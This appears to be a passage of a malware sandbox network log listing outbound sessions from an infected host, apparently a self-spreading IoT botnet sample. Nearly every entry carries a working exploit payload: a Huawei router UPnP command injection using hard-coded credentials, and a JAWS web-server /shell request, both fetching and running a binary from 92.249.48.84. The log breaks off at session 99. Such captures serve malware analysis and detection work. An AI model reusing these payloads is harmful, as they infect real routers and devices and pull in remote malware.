67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.14	54270	156.56.88.39	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.961849928 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	48562	156.250.109.164	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.992855072 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	53084	134.118.16.121	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:14.993364096 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	47468	181.149.65.97	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.025027037 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	37900	197.59.228.193	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.056662083 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	37670	41.117.250.58	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.057573080 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	37680	41.229.107.145	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.058247089 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	60196	156.91.72.145	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.088768959 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	53008	41.121.163.72	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.089603901 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	57674	41.51.46.101	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.090281963 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	43984	209.183.241.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.121536016 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	48938	156.56.92.171	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.121598005 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.14	49420	206.30.20.214	80

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:34:15.152636051 CEST	242	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+92.249.48.84/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	43342	41.90.184.19	37215

Timestamp	Bytes transferred	Direction	Data
